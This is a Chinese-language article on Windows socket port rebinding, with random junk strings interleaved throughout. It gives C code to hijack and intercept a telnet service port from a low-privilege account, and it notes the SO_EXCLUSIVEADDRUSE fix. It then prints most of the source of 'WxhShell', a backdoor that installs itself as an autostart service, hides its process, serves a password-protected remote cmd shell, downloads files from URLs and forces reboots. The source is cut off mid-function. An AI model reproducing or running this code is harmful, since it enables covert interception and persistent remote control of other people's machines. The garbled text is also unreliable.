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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: agGgJ@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !G@V<'F an #jZ[ saddr.sin_family = AF_INET; t/_\U=i$ :^C#-O saddr.sin_addr.s_addr = htonl(INADDR_ANY); R#rh \Gv- sA bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s"gKonwI2 4ZSfz#<[z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hd96[Uo iFXUKGiV 这意味着什么?意味着可以进行如下的攻击: 4d,qXSKty &4a~6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r< N-A?a &*h`b{] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q
oKQEG2 Zz{[Al{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )2
Sf#\6X<B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1KNkl,E |Sy}d[VKsZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +<vqkc )@?Qt2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fLf#2EA jauc*347 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &^"s=g. +A;n*DF2 #include +;{rU& #include ,=x.aX
Spz #include :C}KI) #include $L $j
KNwf DWORD WINAPI ClientThread(LPVOID lpParam); pRb+'v&_k int main() YLr%vnO*NS { HQjxJd5P WORD wVersionRequested; _CYmG"mY DWORD ret; Mr@<ZTw WSADATA wsaData; h Js&rpN BOOL val; W\ZV0T;<] SOCKADDR_IN saddr; fwz5{>ON] SOCKADDR_IN scaddr; D"1vw<Ak int err; Zi15wE SOCKET s; 1D#T+t`[ SOCKET sc; KR+ aY. int caddsize; 4C2>0O<^s HANDLE mt; @Wlwt+;fT DWORD tid; }Etd#"> wVersionRequested = MAKEWORD( 2, 2 ); aH~x7N6! err = WSAStartup( wVersionRequested, &wsaData ); =2GP^vh if ( err != 0 ) { T% jjs printf("error!WSAStartup failed!\n"); E#WjoIk return -1; }-k_?2"A } 1VPfa saddr.sin_family = AF_INET; t/EMBfLc Y:#kel< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~`W6O> %m0L!|E saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #Q!c42}M saddr.sin_port = htons(23); s0`]!7D< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]-+.lR%vd9 { &9GR2GY printf("error!socket failed!\n"); '=@H2T6= return -1; !nqm ;96 } Gh chfI. val = TRUE; D| 8sjp4 //SO_REUSEADDR选项就是可以实现端口重绑定的 8z3I~yL_`+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -X6\[I:+A { '/n%}=a= printf("error!setsockopt failed!\n"); RLeSA\di return -1; 3 z{5c } T5X'D(\| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t8a@L(J$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UH.}B3H //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nOL 25 Y: fTi{oY,zTg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ft.}$8vIT { Y ~\`0?ST ret=GetLastError(); VAG+y/q printf("error!bind failed!\n"); zN8&M<mTl return -1; :p*ojl| } dcc%G7w listen(s,2); ]CtoK%k while(1) d"e%tsj { DftGy:Ah3 caddsize = sizeof(scaddr); Q'%5"&XFD //接受连接请求 J7 zVi sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !<UEq`2 if(sc!=INVALID_SOCKET) /d]V{I~6 { 0ga1Yr] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GhfUCW% if(mt==NULL) u3v6$CD? { Q,`2DHhK printf("Thread Creat Failed!\n"); AD4L`0D break; "gl:4|i' }
GwIfGixqH } <^X'f CloseHandle(mt); fuIv,lDA } BafzQ' closesocket(s); <PuB3PEvV WSACleanup(); ;Kd{h return 0; "a%ASy>?g } E?c{02fu DWORD WINAPI ClientThread(LPVOID lpParam) GF/x;,Ae { I}]@e^ ~ SOCKET ss = (SOCKET)lpParam; +8@`lDnr SOCKET sc; &l!{!f4 unsigned char buf[4096]; lXL7q?,9 SOCKADDR_IN saddr; "8iyMP%8 long num; *Yk8Mj^_h DWORD val; e7)%=F/) DWORD ret; g cK" //如果是隐藏端口应用的话,可以在此处加一些判断 N@du.d: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 SpTORR8 saddr.sin_family = AF_INET; XCi]()TZ_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g,GbaaXH saddr.sin_port = htons(23); q MT.7n: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nAba
=iW { E+m"yQp{ printf("error!socket failed!\n"); Pk?%PB?Z return -1; ek.WuOs } aSj1P/A val = 100; 1b]PCNz if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qer'V { J7xT6Q= ret = GetLastError(); GPqB\bxb' return -1; A(@gv8e[H^ } ))+98iU1s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <[B[ { =rO>b{,hs ret = GetLastError(); P@S;>t{TD return -1; sz2SWk^& } r/$)c_x` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) elHarey`f { LXfeXWw?, printf("error!socket connect failed!\n"); ';CuJXAj closesocket(sc); [+cnx21{ closesocket(ss); E<G@LT return -1; a]=vq(N'r } ZT6X4 Z while(1) E["t Ccg { 9xS`@ "` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n#L2cv~Aj" //如果是嗅探内容的话,可以再此处进行内容分析和记录 @p` CAB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JE:n`l/p num = recv(ss,buf,4096,0); zam0(^= if(num>0) g l\$jDC9 send(sc,buf,num,0); Zow^bzy4 else if(num==0) !m:PBl5
break; mW(_FS2%, num = recv(sc,buf,4096,0); Y l3[~S
if(num>0) 'UG}E@G send(ss,buf,num,0); ]!J3?G else if(num==0) {$TB#=G break; ~TK^aM } l:Xf(TLa closesocket(ss); Nb9V/2c;V closesocket(sc); OVo return 0 ; Jz3<yQ- } x^#{2}4u I%b:Z .dLX'84fY ========================================================== kkBV;v%a =28H^rK{ 下边附上一个代码,,WXhSHELL TKBK3N 2yO)}g FJ ========================================================== >,]e[/p \ui~n:aWJ #include "stdafx.h" oYm{I ~" \V-
Y,!~5 #include <stdio.h> IV#My9}e #include <string.h> ]}L1W`n #include <windows.h> #V,~d&_k #include <winsock2.h> xjk|O;ak #include <winsvc.h> adr^6n6v #include <urlmon.h> w58 QX/XG F*( A; N_y #pragma comment (lib, "Ws2_32.lib") H_f2:Za #pragma comment (lib, "urlmon.lib") <WKz,jh
j.v _ #define MAX_USER 100 // 最大客户端连接数 Y'%Iat(z #define BUF_SOCK 200 // sock buffer ^F0jI5j ). #define KEY_BUFF 255 // 输入 buffer L , Fso./y 2u H\8A+'f #define REBOOT 0 // 重启 `*9FKs #define SHUTDOWN 1 // 关机 *_rGBW M~Dc5\T #define DEF_PORT 5000 // 监听端口 0Lz56e'j Q/`o6xv #define REG_LEN 16 // 注册表键长度 tYNt>9L| #define SVC_LEN 80 // NT服务名长度 Wq&c,H !4.^@^L|\ // 从dll定义API "8dnFrE typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [a*>@IR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]BD5+>; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~{$'s p0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aYCzb7 4xn^`xf9
// wxhshell配置信息 V+ ~2q= struct WSCFG { MCpK^7]k int ws_port; // 监听端口 @gGuV$Mw char ws_passstr[REG_LEN]; // 口令 ^M5uLm-_s int ws_autoins; // 安装标记, 1=yes 0=no "8TMAF|i4 char ws_regname[REG_LEN]; // 注册表键名 a2_IF,p*? char ws_svcname[REG_LEN]; // 服务名 He;%6OG{ char ws_svcdisp[SVC_LEN]; // 服务显示名 ]H'82a char ws_svcdesc[SVC_LEN]; // 服务描述信息 ddhTri'f char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3evfX[V# int ws_downexe; // 下载执行标记, 1=yes 0=no \gv
x)S11 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" v")
W@haU char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0=zS&xM gCI'YEx }; $K6`Q4` P>Rqy // default Wxhshell configuration |i}g7 struct WSCFG wscfg={DEF_PORT, 7+r5?h| "xuhuanlingzhe", .[85<"C 1, <Py/uF| "Wxhshell", D5vtZu!" "Wxhshell", RtQfE+ "WxhShell Service", .u3W]5M| "Wrsky Windows CmdShell Service",
o*1`, n "Please Input Your Password: ", I _G;;GF 1, ~mo` " http://www.wrsky.com/wxhshell.exe", _JO @O^Ndd "Wxhshell.exe" X1D:{S[ }; X_8NW, 6x8|v7cMH // 消息定义模块 %4K#<b"W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d/QM char *msg_ws_prompt="\n\r? for help\n\r#>"; iPYlTV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; wf$ JuHPt char *msg_ws_ext="\n\rExit."; (W/UR9x)|d char *msg_ws_end="\n\rQuit."; ,dMi+c`ax char *msg_ws_boot="\n\rReboot..."; dj**,*s char *msg_ws_poff="\n\rShutdown..."; ]>T/Gl1 char *msg_ws_down="\n\rSave to "; (2)9TpE; ee` =B char *msg_ws_err="\n\rErr!"; <L#r6y~H char *msg_ws_ok="\n\rOK!"; [6N39G$ *j :5 char ExeFile[MAX_PATH]; YL0RQa int nUser = 0; x"De
9SB HANDLE handles[MAX_USER]; `sC8ro@Fm int OsIsNt; lB@K;E@r8 =R`2 m SERVICE_STATUS serviceStatus; !PbFo%) SERVICE_STATUS_HANDLE hServiceStatusHandle; ?V&a |:N9 nEr, jd~f // 函数声明 K6hNN$F! int Install(void); +q%goG8 int Uninstall(void); IvH+94[)
int DownloadFile(char *sURL, SOCKET wsh); dBn.DU*B int Boot(int flag); `d#_66TLr void HideProc(void); Xxw.{2Ji!q int GetOsVer(void); :\RB ^3; int Wxhshell(SOCKET wsl); V@f#/"u' void TalkWithClient(void *cs); P .( X]+ int CmdShell(SOCKET sock); [wYQP6Cyy int StartFromService(void); @S):a`J int StartWxhshell(LPSTR lpCmdLine); HEN9D/O= U%l{>*q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .C?g nOq VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,r4af< a@1gMZc* // 数据结构和表定义 aQ\O ]gCE SERVICE_TABLE_ENTRY DispatchTable[] = \C|06Bs$
{ zf#&3K 'k {wscfg.ws_svcname, NTServiceMain}, r6G)R+ # {NULL, NULL} 4{E=wg^p }; IQ8AsV&'C 5Px_vtqP // 自我安装 }qPo%T int Install(void) %R>MSSjvr { GjBQxn char svExeFile[MAX_PATH]; R?I3xb HKEY key; VTa8.(i6v strcpy(svExeFile,ExeFile); S0yT%V &Y$rVBgQ // 如果是win9x系统,修改注册表设为自启动 z>~3*a9& if(!OsIsNt) { $i
Tgv?.Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .jw)e!<\N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Y0m;-1M RegCloseKey(key); MvFXVCT# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +a;j>hh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i|Wn*~yFOO RegCloseKey(key); RJM(+5xQ| return 0; qZG >FC37 } 5Tq 3L[T5; } ]W,g>91m } m\=u/Zip else { V y$\.2= u:$x,Q // 如果是NT以上系统,安装为系统服务 Fy^\U w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uv!/DX# if (schSCManager!=0) xm5D$m3# { \=~Ap#Mpc4 SC_HANDLE schService = CreateService huIr*)r&p ( ~5b %~: schSCManager, %iv'/B8 wscfg.ws_svcname, wd *Jq wscfg.ws_svcdisp, &\r%&IX/ SERVICE_ALL_ACCESS, $? Rod; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \ZB;K~BV& SERVICE_AUTO_START, ?~Des"F6)1 SERVICE_ERROR_NORMAL, o hCPNm svExeFile, P.0-( NULL, .Pi67Kj, NULL, >Ko )Z&j9W NULL, cae}dHG2 NULL, TXM.,5Dx\ NULL *(rE< ); l{4\Wn Va if (schService!=0) |%} ?*|- { 4=Zlsp CloseServiceHandle(schService); NINiX( CloseServiceHandle(schSCManager); F)G#\r strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (@Bm2gH strcat(svExeFile,wscfg.ws_svcname); FW4 hqgE@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aum,bm/0J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ia[wVxd RegCloseKey(key); ]F~5l?4u# return 0; #*~Uu.T } t
+_G%tv } 6~s,j({^ CloseServiceHandle(schSCManager); ~+F: QrXcI } {mDaK&]Oh } +Muyp]_ ;&!l2 UB% return 1; ~oI49Q&{ } /zWWUl`: #LZ`kSlv4 // 自我卸载 =
N#WwNC int Uninstall(void) 3^\y> { Y'P8 `$ HKEY key; {BF\G%v;+ S.z ;Bm if(!OsIsNt) { 7)T+!> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,Xw/
t> RegDeleteValue(key,wscfg.ws_regname); m`|Z1CT RegCloseKey(key); 1NTe@r!y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *=8)]_=f RegDeleteValue(key,wscfg.ws_regname); +2?[=g4;} RegCloseKey(key); ?/\;K1c p return 0; C"}x=cK } xl3U } !l~hO } z} %to0W else { 8Xr3q eh+ K;95M^C\O* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;u%h wlo if (schSCManager!=0) #%5>}$ { :/3`+&T^/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v#6.VUAw if (schService!=0) M3''xrpC { |lv4X}H if(DeleteService(schService)!=0) { >@X=E3 CloseServiceHandle(schService); 1;h>^NOq CloseServiceHandle(schSCManager); {MS&t09Wh return 0; P+/L,u } gSC@uf CloseServiceHandle(schService); [Xrq+O, } cE3co(j CloseServiceHandle(schSCManager); W)l&4#__( } >iCMjT]4 } _I9TG.AA. GHkSU;}) return 1; ,%C$~+xjM } (mEZ4yM IkvH8E // 从指定url下载文件 (Cq-8**dY int DownloadFile(char *sURL, SOCKET wsh) `'93J
wYb { C"sa.#} HRESULT hr; %guot~S| char seps[]= "/"; sOJ~PRA char *token; oeIS&O.K char *file; aH6pys!O char myURL[MAX_PATH]; Mf
*qr9* char myFILE[MAX_PATH]; c]9OP9F A-~)7- strcpy(myURL,sURL); gp}S 1 token=strtok(myURL,seps); oH;Y} h while(token!=NULL) (X8N?tJ { L]VK9qB file=token; T&c[m!}X|t token=strtok(NULL,seps); 7+c@pEU] } r'8e"pTi 3S,pd0; GetCurrentDirectory(MAX_PATH,myFILE); ex['{|a{ strcat(myFILE, "\\"); kSDV#8uZ strcat(myFILE, file); `XD$1> send(wsh,myFILE,strlen(myFILE),0); (*EN! -/ send(wsh,"...",3,0); Ii9vA ^53 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O~D}&M@/R if(hr==S_OK) 6hZhD1lDG^ return 0; #<JrSl62(K else G{J9Fb8 return 1; Ze~\=X" " E )PEKWK\ } ^O?$}sr *D'VW{ // 系统电源模块 6e*JCf> int Boot(int flag) 0QPipuP { _V;J7Vz HANDLE hToken; wjl?@K
TOKEN_PRIVILEGES tkp; Kb}N!<Z* 4b#YpK$7U if(OsIsNt) { }A#FGH+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >?kt3.IQ!X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (]pQ.3 tkp.PrivilegeCount = 1; O-7 \qz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hOq1"kL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '
Sl9xd if(flag==REBOOT) { E>ev /6ox if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JvG t=v return 0; Vf:t!'WD?2 } |X sW)/ else { cx02b-O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .`iq+i~ return 0; l"-D@]" } oU2RxK->u } K)k!`du!6 else { l/`Z+]; if(flag==REBOOT) { 5p~Z-kU& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B<oi,S return 0; Ywni2-)< } 3w-0v"j U else { mF_/Rhu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $q+7,," return 0; snK/,lm. } PCES&|*rf } =#W{&Te; EH[ ?*>+s return 1; ,Pl[SMt! } 7(oxmv}#Q Q:-/@$&i // win9x进程隐藏模块 E/am^ TO` void HideProc(void) <l\FHJhjq { K<t(HK#[ > {:8c-\2} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YRwS{e*u if ( hKernel != NULL ) :c6%;2 { fN&O `T> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ji7A9Hk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M--6oR7 FreeLibrary(hKernel); E{FN sa } !is8`8F8 ZpwB"%e$ return; G1D(-X4ALZ } Um|:AT}`^ { u;ntDr // 获取操作系统版本 3(CUC int GetOsVer(void) X4o8 { l[ L{m7 OSVERSIONINFO winfo; i#C?& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6=zme6D GetVersionEx(&winfo); IX3r$}4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g'I S8@ return 1; *"E]^wCn else is6JS^Q return 0; KJ-D|N,8@^ } :]]amziP& $k!t&G // 客户端句柄模块 Zw }7vD0 int Wxhshell(SOCKET wsl) ld3,)ZY { oc15!M3$ SOCKET wsh; _{A($/~c? struct sockaddr_in client; Fa;CWyt DWORD myID; \h"s[G zq 10a=[\ Q while(nUser<MAX_USER) F6fm{ { F'Wef11Yz int nSize=sizeof(client); $1w8GI\J wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $[z*MQ if(wsh==INVALID_SOCKET) return 1; 63at
lq 8]0R[kjD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,CCIg9Pt if(handles[nUser]==0) M#:Mwa$ closesocket(wsh); 3fGy else ?.4u'Dkn= nUser++; O/GD[9$i } ^+}<Q#y- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8sL7p4 F35e/YfG return 0; \tQRyj\| } &"d4J?io`
LDbo // 关闭 socket ]ao]?=q C void CloseIt(SOCKET wsh) \ii^F?+b { x*_c'\F| closesocket(wsh); )EO$JwQ nUser--; 4YdmG.CU ExitThread(0); ."MBKyg6 } ]qrO"X= )[/+j"F // 客户端请求句柄 ov?>ALRg void TalkWithClient(void *cs) 7=JiL= { :FK(*BUh V+E2nJ SOCKET wsh=(SOCKET)cs; ost~<4~ char pwd[SVC_LEN]; |vGz
1jLV char cmd[KEY_BUFF]; D
F0~A char chr[1]; H1q>UU: int i,j; AN^;~m ^ K}Aaflq while (nUser < MAX_USER) { (=7e~'DC ZZ4W?);; if(wscfg.ws_passstr) { m+1MoeR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^d!-IL_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0C3CqGP //ZeroMemory(pwd,KEY_BUFF); =m:0#&t,* i=0; x; :[0(st} while(i<SVC_LEN) { ZY{,// m!v`nw ] // 设置超时 Mj[v _&N fd_set FdRead; tdEu4)6 struct timeval TimeOut; '?q|7[SU FD_ZERO(&FdRead); Yj;$hV8j( FD_SET(wsh,&FdRead); UP#]n
69y TimeOut.tv_sec=8; {N>VK* TimeOut.tv_usec=0; {X8F4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4F/Q0" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); In]h+tG?rN YsDn?p D@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {-H6Z#b[ pwd =chr[0]; GXa-g-d if(chr[0]==0xd || chr[0]==0xa) { [<bfwTFsl pwd=0; /SZsXaC ' break; F%L^k.y$ } bPiJCX0d i++; tz2`X V{ } ='YR; fNQ.FAK": // 如果是非法用户,关闭 socket w!tQU9+* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ij%\ld9kd } MB:E/ M]eH
JZ~v send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *p +%&z_< send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); skr^m%W 670g|&v. while(1) { Pgb<;c:4 1P&c:n ZeroMemory(cmd,KEY_BUFF); R$NH [Tz WCU[]A // 自动支持客户端 telnet标准 Wrt3p-N"D j=0; HlLF<k~} while(j<KEY_BUFF) { NaLec|6<t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~^:/t<N cmd[j]=chr[0]; F@&q4whaVD if(chr[0]==0xa || chr[0]==0xd) { OyFBM>6gh cmd[j]=0; ^-mz!{
break; T|r@:t[ } YP+0uZ[g j++; vlx
wt~ } O Y /QA ss
|<\DE+ // 下载文件 .#Z}}W# if(strstr(cmd,"http://")) { ^D"}OQoh send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;,4 Z5+ if(DownloadFile(cmd,wsh)) Rm"lRkY4I[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0. o(U else Hz!+g'R!Gs send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8qo{% } OP%h` else {
;OE{& NC|&7qQ switch(cmd[0]) { |$^,e%bE 1u'x|Un // 帮助 d{I|4h case '?': { ?}lgwKBHl; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qFt%{~a
S break; }yC ve } ^pAqe8u_ // 安装 kR9G;IZ8s case 'i': { 2r<UYB if(Install()) K4snpuhC send(wsh,msg_ws_err,strlen(msg_ws_err),0); GAEz
:n else vNHMe{,u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >O |hN ` break; 6D6=5!l } 0X~Dxs // 卸载 ':kBHCR7 case 'r': { q^>$YY>F if(Uninstall()) |s[m;Qm[ku send(wsh,msg_ws_err,strlen(msg_ws_err),0); kfM}j else i%D/@$\D6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vUY?Eb[ break; A<QYW,:| } )k- 7mwkZ // 显示 wxhshell 所在路径 VNx}ADXu ] case 'p': { e*:[#LJ]C char svExeFile[MAX_PATH]; a:7"F{D91 strcpy(svExeFile,"\n\r"); ,`B*rCOa strcat(svExeFile,ExeFile); ')}$v+9h send(wsh,svExeFile,strlen(svExeFile),0); 0A/GWSmF break; >pT92VN } ` L6H2:pf // 重启 ^7vhize case 'b': { v93+<@Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -|:7<$2#I if(Boot(REBOOT)) <~<I K=n send(wsh,msg_ws_err,strlen(msg_ws_err),0); aG?'F`UQ else { 0&$e:O'v closesocket(wsh); &7XB$ ExitThread(0); yIh>j.P } MuO7_*q'n break; `LVXK|m+ $ } `3*>tq // 关机 w1h07_u;v case 'd': { "u3 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >/ECLP if(Boot(SHUTDOWN)) 'h([Y8p{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); f@Hp,- else { ?,;|*A closesocket(wsh); +g@@|&B ExitThread(0); !D7[R'RgY } e(6g|h break; '[{M"S } 4ehajK // 获取shell &:nWZ!D case 's': { mAX]m 1s CmdShell(wsh); GL.&
g{$#+ closesocket(wsh); fI t:eKHr ExitThread(0); <~u.:x@ R break; b=Zg1SqV } WIQt5=- // 退出 69`9!heu case 'x': { H7H'0C send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gg{@]9 CloseIt(wsh); 4;7<)&#h break; >8#(GXnSt } 7=6p // 离开 VQ$=F8ivG case 'q': { mdoy1a send(wsh,msg_ws_end,strlen(msg_ws_end),0); D-8%lGS closesocket(wsh); ouPwhB,bg WSACleanup(); ~i=/@;wRp exit(1); Q{0-pHr} break; ZL+{?1&- } Wu2#r\
} T=A7f6` } LrsP4G 7?]gUrE // 提示信息 jcYI"f"~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;_F iiBk7( } t'Nu^_# } |0b$60m$!t GQ$0`?lp return; aGr(djD } (t&P.N/ /#G^?2oM // shell模块句柄 O (tcu@vfl int CmdShell(SOCKET sock) q(\$-Dk.Vv { k&n7_[]n STARTUPINFO si; pW:U|m1dS ZeroMemory(&si,sizeof(si)); KJ.ra\F si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ST'L \yebc si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'B8fc-n PROCESS_INFORMATION ProcessInfo; +)qPUKb? char cmdline[]="cmd"; [t: =%&B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ni"fV]' return 0; W7O%.xP } .Xg%><{~ OE}L})" // 自身启动模式 s<sqO,! int StartFromService(void) +0^ N#0) { 1Yz1/gFj typedef struct _U.8\J2 { +VAfT\G2 DWORD ExitStatus; *,_Qdr^F DWORD PebBaseAddress; nx
$?wxIm DWORD AffinityMask; X. UN=lu DWORD BasePriority; hkRv0q.' ULONG UniqueProcessId; Z@t).$ ULONG InheritedFromUniqueProcessId; }u5 Mexs } PROCESS_BASIC_INFORMATION; z ,P:i$ ZBJ.dK?Ky| PROCNTQSIP NtQueryInformationProcess; j0kEi+!TVq B>o#eW static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Nd + static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7>9/bB+TL $*G]6s HANDLE hProcess; <$Q&n{ PROCESS_BASIC_INFORMATION pbi; .Uh-Wi[ w44{~[0d4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -+'{C= if(NULL == hInst ) return 0; tqmM7$}}P s%H5Qa+Uh g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xPq3Sfg`A 